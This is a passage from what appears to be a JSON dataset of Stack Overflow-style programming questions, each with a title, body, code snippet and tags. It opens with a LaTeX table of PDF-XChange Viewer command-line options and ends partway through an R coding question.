/print:showui=yes c:\\textbackslash mydocument.pdf}} \\\\ \\hline\n \\
multicolumn{1}{|m{0.13\\newtblsparewidth}}{\\textbf{/printto}} & \\multicolumn{3}{|
m{0.35\\newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.15\\newtblsparewidth+2\\
tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}{Almost the same command as \\
textbf{/print}, but destination printer should be specified not as command
argument, but as command line parameter followed by \\textbf{/printto} command.\n\
n \\textbf{For example,}\n\n \\texttt{PDFXCView.exe /printto \"Raster-
XChange\" c:\\textbackslash mydocument.pdf}} \\\\ \\hline\n \\multicolumn{1}{|
m{0.13\\newtblsparewidth}}{\\textbf{/exportp}} & \\multicolumn{3}{|m{0.35\\
newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.15\\newtblsparewidth+2\\
tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}{This
command exports current viewer\u2019s settings into the file specified by
setting\\_file\\_name parameter.} \\\\ \\hline\n \\multicolumn{1}{|m{0.13\\
newtblsparewidth}}{\\multirow{3}{0.13\\newtblsparewidth}{\\textbf{/importp}}} & \\
multicolumn{3}{|m{0.35\\newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.15\\
newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}{This
command imports viewer\u2019s settings from the file specified by setting\\_file\\
_name parameter. Please note, all your current settings will be overridden and
lost.} \\\\ \\cline{2-4} \n \\multicolumn{1}{|l}{} & \\multicolumn{1}{|m{0.35\\
newtblsparewidth}}{web=yes|no} & \\multicolumn{2}{|m{0.15\\newtblsparewidth+2\\
tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}{If this argument is used and
its value is \\textbf{yes}, then imported settings will be stored into browser-
plugins registry location at exit of the application.} \\\\ \\cline{2-4} \n \\
multicolumn{1}{|l}{} & \\multicolumn{3}{|m{0.35\\newtblsparewidth+2\\tabcolsep+\\
arrayrulewidth+0.15\\newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.37\\
newtblsparewidth}|}{\\textbf{For example,}\n\n \\texttt{PDFXCView.exe /importp
c:\\textbackslash mysettings.dat}\n\n \\texttt{PDFXCView.exe /import:web=yes
c:\\textbackslash mysettings.dat}} \\\\ \\hline\n \\multicolumn{1}{|m{0.13\\
newtblsparewidth}}{\\textbf{filename1, filename2, {\\dots} filenameN}} & \\
multicolumn{3}{|m{0.35\\newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.15\\
newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}{PDF file
name(s) which should be opened, closed or printed. Please note, if filename
contains spaces, it should be enclosed into quotes (\"\")} \\\\ \\hline\n \\
multicolumn{1}{|m{0.13\\newtblsparewidth}}{\\textbf{/RegServer, /UnregServer}} & \\
multicolumn{3}{|m{0.35\\newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.15\\
newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}{Special
commands used for registering and unregistering viewer\u2019s COM interfaces.} \\\\
\\hline\n \\multicolumn{1}{|m{0.13\\newtblsparewidth}}{\\multirow{3}{0.13\\
newtblsparewidth}{\\textbf{/makeassoc}}} & \\multicolumn{3}{|m{0.35\\
newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.15\\newtblsparewidth+2\\
tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}{Makes PDF-XChange Viewer as
default PDF-viewer.} \\\\ \\cline{2-4} \n \\multicolumn{1}{|l}{} & \\
multicolumn{1}{|m{0.35\\newtblsparewidth}}{web=yes|no} & \\multicolumn{2}{|m{0.15\\
newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}{If this
argument is used and its value is \\textbf{yes}, it enables displaying PDF in
Internet browsers by PDF-XChange Viewer.} \\\\ \\cline{2-4} \n \\multicolumn{1}
{|l}{} & \\multicolumn{3}{|m{0.35\\newtblsparewidth+2\\tabcolsep+\\
arrayrulewidth+0.15\\newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.37\\
newtblsparewidth}|}{\\textbf{For example,}\n\n \\texttt{PDFXCView.exe
/makeassoc}\n\n \\texttt{PDFXCView.exe /makeassoc:web=yes}} \\\\ \\hline\n \\
multicolumn{1}{|m{0.13\\newtblsparewidth}}{\\textbf{/makeiassoc}} & \\
multicolumn{3}{|m{0.35\\newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.15\\
newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}{Enables
displaying PDF in Internet Browsers by PDF-XChange Viewer.} \\\\ \\hline\n \\
multicolumn{1}{|m{0.13\\newtblsparewidth}}{\\textbf{/storeassoc}} & \\
multicolumn{3}{|m{0.35\\newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.15\\
newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}{Stores
existing PDF-associated application (if it is not PDF-XChange Viewer) that can be
restored in the future.} \\\\ \\hline\n \\multicolumn{1}{|m{0.13\\
newtblsparewidth}}{\\textbf{/restoreassoc}} & \\multicolumn{3}{|m{0.35\\
newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.15\\newtblsparewidth+2\\
tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}{Restores a previously stored
PDF-associated application.} \\\\ \\hline\n \\multicolumn{1}{|m{0.13\\
newtblsparewidth}}{\\textbf{/usep}} & \\multicolumn{3}{|m{0.35\\
newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.15\\newtblsparewidth+2\\
tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}{Opens the viewer with the
settings from the file specified by <settings\\_filename> parameter. \\textbf{For
example,}\n\n \\textbf{relative paths:}\n\n \\texttt{settings.dat}\n\n \\
texttt{mysettings.dat}\n\n \\texttt{MyFolder\\textbackslash settings.dat}\n\n
\\textbf{full paths:}\n\n \\texttt{\"c:\\textbackslash PDF-XChange Viewer
Settings\\textbackslash settings.dat\"}\n\n \\texttt{\"\\textbackslash \\
%UserProfile\\%\\textbackslash PDF-XChange Viewer Settings\\textbackslash
settings.dat\"}\n\n \\texttt{\"c:\\textbackslash Documents and Settings\\
textbackslash \\%UserName\\%\\textbackslash PDF-XChange Viewer Settings\\
textbackslash settings.dat\"}\n\n \\textbf{Note:} If there are no settings (or
they are incorrect, or they cannot be found under the given name), viewer will be
opened with the default ones. While shutting down, viewer will try to save the
current settings to the given direction. If the settings could not be saved, an
error message will be shown.} \\\\ \\hline\n \\multicolumn{1}{|m{0.13\\
newtblsparewidth}}{\\multirow{10}{0.13\\newtblsparewidth}{\\textbf{/runjs}}} & \\
multicolumn{3}{|m{0.35\\newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.15\\
newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}{\\
textbf{command scheme:}\n\n \\texttt{/runjs[:[newinst[=<yes|no>]][\\
&showui[=<yes|no>]][\\&minui[=<yes|no>]][\\&log=[=<yes|no>]]] <scriptfilename>
<filename> [<filename2>{\\dots} <filenameN>]}} \\\\ \\cline{2-4} \n \\
multicolumn{1}{|l}{} & \\multicolumn{3}{|m{0.35\\newtblsparewidth+2\\tabcolsep+\\
arrayrulewidth+0.15\\newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.37\\
newtblsparewidth}|}{\\textbf{options:}} \\\\ \\cline{2-4} \n \\multicolumn{1}{|
l}{} & \\multicolumn{1}{|m{0.35\\newtblsparewidth}}{newinst=<yes|no>} & \\
multicolumn{2}{|m{0.15\\newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.37\\
newtblsparewidth}|}{If this argument is used and its value is \\textbf{yes}, then
application process will be started for executing this command. If this option is
not specified or its value means \\textbf{no}, then the application process can be
used for executing this command.} \\\\ \\cline{2-4} \n \\multicolumn{1}{|l}{}
& \\multicolumn{1}{|m{0.35\\newtblsparewidth}}{showui=<yes|no>} & \\multicolumn{2}
{|m{0.15\\newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}
{If specified without any value or value means \\textbf{yes}, then the
application is displayed with UI. Otherwise this command will be executed without
UI.} \\\\ \\cline{2-4} \n \\multicolumn{1}{|l}{} & \\multicolumn{1}{|m{0.35\\
newtblsparewidth}}{minui=<yes|no>} & \\multicolumn{2}{|m{0.15\\newtblsparewidth+2\\
tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}{If \\textbf{showui} have been
specified before and this option is specified without any value or the value means
\\textbf{yes}, then the application displays minimized UI (like a tab in the task
bar).} \\\\ \\cline{2-4} \n \\multicolumn{1}{|l}{} & \\multicolumn{1}{|m{0.35\\
newtblsparewidth}}{log=<yes|no>} & \\multicolumn{2}{|m{0.15\\newtblsparewidth+2\\
tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}{If specified without any
value or the value \\textbf{means} yes, then the application creates a log of
executing of this command. The log file \"\\_RunJSLog.txt\" will be placed to our
program folder.} \\\\ \\cline{2-4} \n \\multicolumn{1}{|l}{} & \\multicolumn{3}
{|m{0.35\\newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.15\\newtblsparewidth+2\\
tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}{\\textbf{parameters:}} \\\\ \\
cline{2-4} \n\\end{tabularx}\n", "vertical-alignment longtable multirow"],
"1417961": ["Exporting function source", "\nPossible Duplicate:\nreconstruct/get
code of php function \n\nIn JavaScript there is simply in function object, that
outputs its source.\nIs there an equivalent function or, how would one write one to
do the same in PHP?\nI am looking to write a PHP -> JS compiler. And, since
requires source as it's parameter, I'm looking for this particular export.\n",
".toString()", "php function export"], "619752": ["compile c code on mac for use on
iphone?", "How would I go about setting everything up to cross compile from my OSX
10.6 Macbook pro with xcode to my jailbroken 4th generation iPod touch. I'm mainly
aiming to be able to port open source libraries to iphone. I can't seem to find any
good/recent articles on cross compiling for iOS 4.\n", "", "iphone osx gcc compiler
cross-compiling"], "5159482": ["how to allocate bandwidth using C#", "i would to
ask how to pass the internet bandwidth in other PC for example if you control the
speed limit of those PC then pass the bandwidth... the program that i would like to
use is C#\n", "", "c# bandwidth"], "939236": ["How to view the identity of person
who signed the apk on Android device?", "I need to view who signed the application
I have installed onto my device. Is this generally possible to do on the device or
on PC?\n", "", "android certificate signature apk"], "2788016": ["How to Autostart
an Android Application?", "I'm not sure how to autostart an android application
after the android emulator completes its booting. Does anyone have any code
snippets that will help me?\n", "", "android"], "5428482": ["Why code in finally
will execute even it has returned in try block?", "Code:\n\n\n\nHow does this code
execute?\n", "", "java try-catch finally"], "3923691": ["Redirect/block WordPress
URLs with the /?p=x structure. Eg. site.com/?p=2", "I'm building a site with hashed
permalinks so I can email a style URL to a client. It's to provide a level
of privacy without the need to log in or dick around with passwords.\
nUnfortunately, WordPress redirects any URL with the url structure: \nso
redirects to \n\nObviously, the hashed URL is pretty useless when someone can run
through and see every post and page I've ever made. \nIs there a way to stop
WordPress from redirecting this type of link and either throwing a 404 or
redirecting to the homepage? \nI only want the page to be accessible from
the \"proper\" style of URL.\n", "test.com/aedoiu2348791lkd", "wordpress url
redirect"], "2389928": ["Cast List<MyType> to Class that extends List<MyType>",
"Here's the problem\nI'm trying to cast form List to an object MyTypes which is
defined as\n\nIt won't cast directly with (MyTypes) - compiler error\nOr with as
MyTypes - returns null\nI would think this would be possible, but clearly I have to
overload some casting operation.\nHelp!\n", "public class MyTypes : List<MyType>
{ ... }\n", "c# list casting"], "1568366": ["Skype4py set video chat dialog to
fullscreen", "I'm trying to get the video chat window automatically in fullscreen
when it appears. \nUsing Skype 2.2 und Skype4py under Linux. \nCan not find a way
to maximize the video dialog with Skype4py.\nIdeas? Thanks a lot.\n", "", "python
dialog skype skype4py"], "327589": ["Why is there no autonegotiation for ethernet
jumbo frames?", "Having read up a bit about ethernet jumbo frames, I'm wondering.
There seem to be technical advantages to being able to use larger than 1500 byte
ethernet frames in some cases. Just enabling jumbo frames on a network card is not
backward compatible and should not be done unless the entire network supports jumbo
frames. I've read the IETF draft and I'm wondering why there is no autonegotiation
for jumbo frames. \nThe latency of 9K frames on gigabit ethernet is less than that
of 1500b frames on 100mbit, and technical problems such as the CRC being inadequate
for large frames could also be fixed by autonegotiation. Mixing jumbo and non jumbo
ethernet equipment would require a solution such as ethernet-level 'fragmentation
required' messages or separate mtu discovery for every destination mac address, but
it doesn't seem unsolvable. \nSo:\n\nOther backward incompatible ethernet settings
are autonegotiated, why not jumbo frames?\nAre there technical reasons jumbo frames
could not be autonegotiated?\nAre there political or other reasons?\n\n", "",
"ethernet jumboframes"], "5554457": ["Image component multiplication without using
loops in matlab?", "I have two rgb images lets say A and B. Both have equal sizes
with the dimension '(x,y,3)'. I wanna multiply both images such that we take the
dot product at every location and the result will be a matrix of size '(x,y) '. For
exampe 'A(1,1,:)*transpose(B(1,1,:))'. With loops it is very slow.\nThanks a lot.\
n", "", "matlab image-processing"], "263437": ["How to transfer image from one
activity to another activity of listview in android?", "I have an
expandablelistview that contains groupview and childview. I am getting the values
for childview from rows added in nextactivity. But now the problem is I want to
transfer the image from rows(I am getting the textview values from the same, but
want to get the imageview) added in nextactivity to previousactivity. Can anyone
please help me?\n", "", "android imageview"], "2810002": ["Get last element (based
on names) in a list - LINQ C#", "I have this list:\nAnnie - P \nMay - \" \" \nAnnie
- P\nMay - P\nAnd I want to get the last element based on the names:\nAnnie - P\
nMay - P\nI have this code but it's either throwing an error: or I only get the
very last element in the list (May - P).\n\nCode (Throws an error)\n\nCode (Wrong
Results)\n\nNote: Dump() is a LINQPad extension. :D\nHow can I get the result I
wanted using LINQ? \nThanks in advance.\nEdit:\nOkay, it seems that most people
gets confused with \"based on names\" condition. Sorry about that but unfortunately
I could not think of any better words to describe the criteria (sorry). But Jon
Hanna got what I meant, so thanks! Also I removed the \"of anonymous types\" from
the title as suggested. Thanks again! :D\n", "The type arguments for method
'System.Linq.Enumerable.SelectMany<TSource,TResult>(System.Collections.Generic.IEnu
merable<TSource>,
System.Func<TSource,System.Collections.Generic.IEnumerable<TResult>>)' cannot be
inferred from the usage. Try specifying the type arguments explicitly.", "c# linq
anonymous-types"], "632740": ["How to show command history with executed time on
Unix", "I tried export but it seems the time stamp of commands executed before I
set HISTTIMEFORMAT will be the time I logged in current session. Is this normal? Is
there any way to check when did the previous command executed? Thanks.\n",
"HISTTIMEFORMAT='%D %T'", "unix bash history"], "3644248": ["Re-enabling windows 7
search", "So I disabled the search service by accident, the basic shell integrated
one which can be accessed from Win+F. \nHow can I re-enable this?\n", "", "windows-
7 windows-search services"], "840075": ["SQL 2000 - DRVTBL?", "I'm trying to
understand a historical stored procedure I need to fix. \nI found this DRVTBL key
word, and I couldn\u2019t find out what it means???\n(This is a sql2000 database)\
n\n", "SELECT ...\nFROM ( \n ...)\n) DRVTBL\n", "sql sql-server stored-
procedures sql-server-2000"], "4242932": ["Android - Is the Application class
instantiated when a BroadcastReceiver is called?", "is the class instantiated when
a is called? I have some logic in the custom Application class which is needed
before the logic in of a is run. The documentation says the argument in the
method is the in which the receiver is running. I was not sure if it is the
application in which the receiver is defined(statically in the manifest) or not.\
n", "Application", "android broadcastreceiver applicationcontext"], "1911417":
["intersection of line and circle with different slope", "\nPossible Duplicate:\
nCircle line collision detection \n\nCan anyone suggest how to find the
intersection point of line and circle.\n\n", "theta=0:.01:2*pi;\n\nx1=4*cos(theta)
+4;\n\ny1=4*sin(theta)+4;\n\nx=[0 1 3 5 8]\n\ny=[0 1 1 3 3]\n\nfor i=2:length(x)
\n\n s(i)=(y(i)-y(i-1))/(x(i)-x(i-1));\n\nend\n\ns\n\ninter=y\n\nplot([x],
[y],x1,y1,'-')\n\naxis([0 10 0 10])\n", "matlab line circle"], "5642473": ["box2d
iOS soft bodies", "I try to use joints connections for a group of rigid bodies to
emulate soft body behavior with Box2d. But sometimes my well-structured body become
an unordered mess of particles connected in a very ridiculous way. This usually
happen when a big body falls on my \"soft body\". How to prevent a \"soft body\"
from becoming a mess ? How to maintain its original ordered structure? Perhaps
there is a better trick to emulate soft body behavior. Could you please share it
with me?\n", "", "ios box2d"], "657999": ["JSF - p:dataTable - p:commandButton
doesn't work even inside p:column", "I have a commandButton inside a DataTable.
However the \"action\" isn't called when I click on it (same effect with an
actionListener); I added logs at the beginning of the server action, and it never
shows. \nPlease note that the button works fine when outside from the datalist.\
nHere is my code:\n\nWould you have any idea as to what the issue might be?\n",
"<h:form id=\"compSearchForm\">\n <p:dataTable var=\"competency\"
value=\"#{competencySearchBean.matchingCompetencies.toArray()}\">\n
<p:column>\n <f:facet name=\"header\">\n <h:outputLabel
value=\"Title\" />\n </f:facet>\n <h:outputText
value=\"#{competency.title}\" />\n </p:column>\n\n <p:column>\n
<p:commandButton value=\"Go\" id=\"actionButton\" action=\"#{myBean.doAction}\" />\
n </p:column>\n </p:dataTable>\n</h:form>\n", "jsf datatable
primefaces"], "2186287": ["Numerical character reference entities... Nomenclature",
"It used to be so simple. Or so I thought.\n\n is an entity\n is, therefore, an
entity reference (a reference to an entity)\n is a character reference (a reference
to a numerical character value)\n\nBut these days, I read so many documents, even
official ones, where those words are all mangled together; you have character
entities, named character references, numerical entities, reference entities, and
so on.\nSo what is it really? How are these things really called? Who can I trust
to have it right these days?\nEdit: the resolution so far is that and have names
ending in \"reference\" (although what's before the \"reference\" varies between
HTML4, HTML5 and XML). If you call them something ending in \"entity\", you're most
likely incorrect.\n", "nbsp", "html reference character entities nomenclature"],
"5096075": ["Calling a java stored procedure in oracle using PL/SQL with boolean
input parameter", "I am trying to write a PL/SQL block for calling a Java Stored
procedure where the java method has a boolean as a paramter.\nHow can I translate
the boolean when defining the package for the java procedure and invoking the java
procedure from a PL/SQL block?\nSomewhere I read that java boolean should be
defined as a NUMBER in Oracle, so I tried that also but that did not work either.\
nDoes anyone have an example of how to do this?\n", "", "plsql boolean java-stored-
procedures input-parameters"], "2145516": ["WCF RESTful: Adding a service reference
in Visual Studio 2010", "I'm trying to add a service reference to a RESTful WCF
service in Visual Studio 2010.\nActually, Visual Studio 2010 doesn't discover any
service in my solution. \nMy question is: is this possible using RESTful WCF
services?\n", "", "visual-studio wcf visual-studio-2010 rest .net-4.0"], "5181509":
["WebView and mailto link", "Problem resolved, I forgot to add this line:\n\nI
havew a WebView with a email link.\nHere is my HTML email
link:\n\nI am trying to catch when the user clicks on this link with this code:\n\
nBut I am never entering in the if.\n",
"myWebView.getSettings().setJavaScriptEnabled(true);\n", "android android-
webview"], "1941605": ["Check server response in javascript", "I want to check
server response in javascript. For example I have a server A which will host the
script. On excuting the script it will check if the server B is responding or not.
If yest continue other wise redirect to server C. Is this possible with
Javascript/Jquery? If not what could be a possible solution in PHP?\n", "", "php
javascript jquery response"], "2807595": ["Virtualbox linux host access windows
guest filesystem", "I'm on ubuntu 11.04 running virtualbox and I have windows 7 on
the virtualbox. \nSharing a host (linux) folder with windows (guest) is easy. How
do I access the windows (guest) filesystem from linux (host)? There doesn't seem to
be a way to share windows folders with linux through the virtualbox interface.\n",
"", "virtualbox"], "4101858": ["Why my UITableView not smooth when scroll first
time?", "My table view cell has four labels.\nThe table view is not smooth when
scroll in first time. After all cells displayed one time, the scrolling is so
smooth with no problem.\nSo I thought the problem is the speed of loading one cell
in the first time.\nI have reuse cell but the problem is not solved. Please help
me! Thanks so much!\nHere is my code:\n\n", "// Customize the appearance of table
view cells.\n- (UITableViewCell *)tableView:(UITableView *)tableView
cellForRowAtIndexPath:(NSIndexPath *)indexPath\n{\n static NSString
*MyIdentifier = @\"MyIdentifier\";\n UITableViewCell *cell = [tableView
dequeueReusableCellWithIdentifier:MyIdentifier];\n if (cell == nil) {\n
NSArray *views = [[NSBundle mainBundle] loadNibNamed:@\"ForumListTableViewCell\"
owner:self options:nil];\n cell = [views objectAtIndex:0];\n }\n\n
NSDictionary *cate = [_forums objectAtIndex:indexPath.section];\n NSArray
*forumsInCate = [cate objectForKey:@\"forums\"];\n NSDictionary *forumInfo =
[forumsInCate objectAtIndex:indexPath.row];\n\n // title1\n UILabel
*forumTitleLabel = (UILabel *)[cell viewWithTag:1];\n forumTitleLabel.text =
[forumInfo objectForKey:@\"name\"];\n\n // master\n UILabel *masterLabel =
(UILabel *)[cell viewWithTag:2];\n NSString *master = [forumInfo
objectForKey:@\"moderators\"];\n masterLabel.text = master;\n\n // title2\n
UILabel *threadTitleLabel = (UILabel *)[cell viewWithTag:3];\n NSString
*lastPostTitle;\n NSDictionary *lastPostInfo = [forumInfo
objectForKey:@\"lastpost\"];\n lastPostTitle = [lastPostInfo
objectForKey:@\"subject\"];\n threadTitleLabel.text = lastPostTitle;\n\n //
author\n UILabel *authorLabel = (UILabel *)[cell viewWithTag:4];\n
authorLabel.text = [NSString stringWithFormat:@\"%@ / %@\",\n
[forumInfo objectForKey:@\"threads\"],\n [forumInfo
objectForKey:@\"posts\"]\n ];\n\n return cell; \n}\n",
"iphone uitableview scroll smooth"], "595505": ["how to understand double checked
locking", "\n\nif a thread sees the pointer written by another thread, it might
not\n see the newly-created instance of some_resource, resulting in the call\n to
do_something() operating on incorrect values. This is an example of\n the type of
race condition defined as a data race by the C++ Standard,\n and thus specified as
undefined behaviour.\n\nQuestion> I have seen the above explanation for why the
code has the double checked locking problem that causes the race condition.
However, I still have difficulties to understand what the problem is. Maybe a
concrete two-threads step-by-step workflow can help me really understand the race
problem for the above the code.\nOne of the solution mentioned by the book is as
follows:\n\nAny comment is welcome\n-Thank you\n", "void
undefined_behaviour_with_double_checked_locking()\n{\n if(!resource_ptr)
#1\n {\n std::lock_guard<std::mutex> lk(resource_mutex); #2\n
if(!resource_ptr) #3\n {\n
resource_ptr.reset(new some_resource); #4\n }\n }\n
resource_ptr->do_something(); #5\n}\n", "c++ multithreading
race-condition double-checked-locking"], "2186284": ["Copyright not available Nokia
Location API (OVI Maps)", "I have made a simple J2ME application using Location API
to show maps on my application, when I run it on Nokia Mobile it is working fine
but When I try to run it on Samsung mobile I got that error\nCopyright not
available\ncould anyone please help in that \nI'm using the code in this tutorial \
nhttp://www.developer.nokia.com/Community/Wiki/How_to_calculate_and_show_a_route_wi
th_Java_ME_Location_API \nit is working fine in Nokia C2 but it is not working for
any Samsung mobile and produce the previous error\n", "", "java-me map nokia
samsung-mobile"], "4977823": ["Rails 3.2 in production not showing any assets",
"I've set up my server to use from my apache config, so that it uses the
production database.\nBut now none of my assets are loading,\nI have in my
Gemfile.\nAnd I have done, \n\nIt complains about my code and exits\n\n",
"RAILS_ENV=production", "ruby-on-rails-3 deployment"], "4166530": ["help in
synchronized method in java", "I've write a program with java that simulate
production water with synchronization (Oxygen wait for Hydrogen to become
available), but it's gives \"Unexpected Operation Exeption\" and did'nt work...\
nPlease help me...\nthere are my codes:\n// class for thread Oxygen\npublic class
Thread_O implements Runnable {\n\n}\n// class for thread hydrogen\npublic class
Thread_H implements Runnable {\n\n}\n// in the main class we have:\nObject object =
new Object();\n// in the button of Oxygen:\n\n// in the button of Hydrogen:\n\n",
"Object object;\n\npublic Thread_O(Object o) {\n\n object = o;\n}\n\npublic void
run() {\n try {\n\n oxygen();\n\n } catch (InterruptedException ex) {\
n Logger.getLogger(Thread_O.class.getName()).log(Level.SEVERE, null, ex);\n
}\n throw new UnsupportedOperationException(\"Not supported yet.\");\n}\n\
npublic void oxygen() throws InterruptedException {\n\n System.out.println(\"One
O2 created...\");\n\n synchronized (object) {\n\n object.wait();\n
object.wait();\n }\n\n System.out.println(\"**** H2O created...\");\n\n}\n",
"java multithreading concurrency"], "2149317": ["Retrieving JPA entities causes
updates in database", "I have an EJB method.\n\nBut, after invoking this method,
then I check the database. I'm quite surprised that the for loop actually caused an
update!\nI don't know how and why, please explain!\n", " public List<Rfsprsus>
findAll() {\n List<Rfsprsus> rl = getEntityManager()\
n .createNamedQuery(\"Rfsprsus.findAll\", Rfsprsus.class)\
n .getResultList();\n\n for(Rfsprsus r: rl) {\n StringBuilder
tempPwd = new StringBuilder(\"\");\n for(int i = 0; i <
paramFacade.find().getPwlength(); i++) {\n tempPwd.append(\"a\");\n
}\n r.setPassword(tempPwd.toString());\n if(r.getOrg() == null)
r.setOrg(orgFacade.find(\"011\")); }\n return rl;\n", "persistence"],
"681023": ["Wait for Keyboard to Hide", "so, basically I need to know if there is a
way to have a observer o another method that is called when the keyboard is
hidden.\nThe problem i have is that after dismissing the Keyboard, I commit 2
Animations, one to take the view to the original position (since I move up the view
so the user can see the textfield while typing) and an Animation Flipping the View
but the Flip occurs before the Keyboard is fully hidden so I have a little graphic
glitch.\nI've tried sleep(), and another wait methods without luck.\nThe Code
Basically is this \n\nThe problem is that the Keyboard isn't fully Hide and the
Flip is perfomed, so i need a way to wait for it.\n", "-
(BOOL)textFieldShouldReturn:(UITextField *)textFieldi{\n\n[textFieldi
resignFirstResponder];\n [UIView beginAnimations:nil context:NULL];\n\n
[UIView setAnimationDuration:1.0];\n\n [UIView
setAnimationTransition:UIViewAnimationTransitionFlipFromRight forView:self.view
cache:YES];\n\n [self.view exchangeSubviewAtIndex:1 withSubviewAtIndex:0];\n\n
CuantoFaltaiOSAppDelegate * del = [CuantoFaltaiOSAppDelegate instance];\n\n
del.headerView.frame = CGRectMake(0, 20, del.headerView.frame.size.width,
del.headerView.frame.size.height);\n\n [UIView commitAnimations];\n\n
return YES;\n}\n", "iphone objective-c ios"], "3266439": ["Configuring a DHCP
server to serve multiple subnets on the same VLAN", "I have a VLAN composed of
multiple subnets, and I would like to use DHCP to centralize IP address
designation.\nThe DHCP server () is a Debian machine on the subnet . I would like
to assign IP addresses to machines in the subnet . The ultimate goal is to enable
PXE booting on all machines in the subnet.\nBelow is my file,\n\nThe way I
understand DHCP, the DHCP server should be broadcasting packets to broadcast
address specified for the second subnet, . No clients are able to retrieve an IP
address, though. Is this an error in my DHCP configuration, or possibly because the
router does not enable DHCP relays?\nThanks!\n", "100.100.25.88", "linux dhcp vlan
subnet pxeboot"], "4971445": ["Rotate image and thumb", "I Want To Rotate image. I
save My Image in Database\n\nimage rotate correctly. but its thumbnail dont rotate.
it is code of create Thumb:\n\n", "var fileInDB = GetFileFromDB();\nvar inputStream
= new MemoryStream(fileInDB.FileData); // fileInDB.FileData is Byte[]\nvar image =
Image.FromStream(streamInput);\nimage.RotateFlip(RotateFlipType.Rotate90FlipNone);\
nimage.Save(streamOut,
ImageFormat.Jpeg);\nSaveFileToDB(streamOut.ToArray());\n", "c# asp.net image-
processing rotation thumbnails"], "2446029": ["UPX and .NET executables", "Can UPX
(upx.sourceforge.net) compact .net executables/dlls ?\n", "", "compression .net-
framework dll upx"], "107417": ["Sin greater than 90 in R", "I got stacked on this
problem: the sin func in R calculates in radians so I looked at this:
http://rss.acs.unt.edu/Rdoc/library/aspace/html/as_radians.html lib, the problem is
that it return incorrect results for angles that are greater than 90. (Well the
library itself does nothing but conversion to degrees). \nThe expected
behaviour : \n\nR result: \n\nSo my question is simple: are there any
implementations that would return normal values for theta greater than 90 degrees?
(even five dollar calculators are able to solve this!), here is the example of what
I mean: http://myhandbook.info/form_trigono0.html. \n", "> sin_d(180)\n[1] 0\n", "r
trigonometry sin cos"], "1295747": ["Does the idea of vampires come from rabies?",
"I've heard the rabies creates some vampire-like symptoms, such as fear of water,
photosensitivity, and an urge to bite.\nIs rabies the origin of what we commonly
now refer to as \"vampires\"?\n", "", "medical-science history"], "3196739": ["How
to make two PCs on LAN act as one?", "I have one computer connected to the
internet, then second computer connected to the first. I want the second PC (which
is not connected to internet) to act like the first PC. I dont have a router and my
internet connection is based on a MAC address. The best solution for me would be
these two computers acting on the local area network as one.\nWhat is the best way
to do this?\n", "", "windows networking lan"], "2186285": ["Identifying cocoa
(NSData, NSArray, etc) objects in a file format", "In order to reverse engineer a
file format, How can I identify cocoa objects in a file format?\nI've got a
document format based with NSDocument, the program which created it can't export in
a sane format and the vendor can't help export the data - they've\ngone out of
business. \nI've tried debugging the application and get back to -[docFile
initWithContentsOfFile:ofType:] but beyond that isn't much help.\nI'm assuming
they're writing pure cocoa objects to disk - like NSArray, NSObject, NSDate, etc.
So how do I recognize this structures on disk? \n", "", "cocoa osx reverse-
engineering"], "5251728": ["Nested for loops in R - Issue with final result", "I am
in the midst of solving a problem in Reconstructing (or recovering) a probability
distribution function when only the moments of the distribution are known. I have
written codes in R for it and although the logic seems right to me, I am not
getting the output that I want. \nThe equation I am trying to using as the
approximated (or reconstructed or recovered) CDF is what you see in the image
below. I am writing codes for the right hand side of the equation and equating that
to a vector that I call F in my codes. \nThe link to paper that contains the
original equation can be found here.
\n\nhttp://www.sciencedirect.com/science/article/pii/S0167715208000187\n\nIt is
marked as equation (2) in the paper. \nHere is the code I wrote.: \n\nAny help will
be appreciated here because the approximation and the graph obtained using my codes
is grossly different from the original curve. \n", "#R Codes: \nalpha <- 50\nT
<- 1\nx <- seq(0, T, by = 0.1)\n\n# Original CDF equation\nFt <- (1-log(x^3))*(x^3)
\nplot(x, Ft, type = \"l\", ylab = \"\", xlab = \"\")\n\n# Approximated CDF
equation using Moment type reconstruction\nk<- floor(alpha*y/T) \nfor(i in
1:length(k)) \n{\nfor(j in k[i]:alpha) \n{ \nF[x+1] <-
(factorial(alpha)/(factorial(alpha-j)*factorial(j-k)*factorial(k)))*(((-1)^(j-k))/
(T^j))*((9/(j+3))^2)\n}\n}\nplot(x[1:7], F, type = \"l\", ylab = \"\", xlab
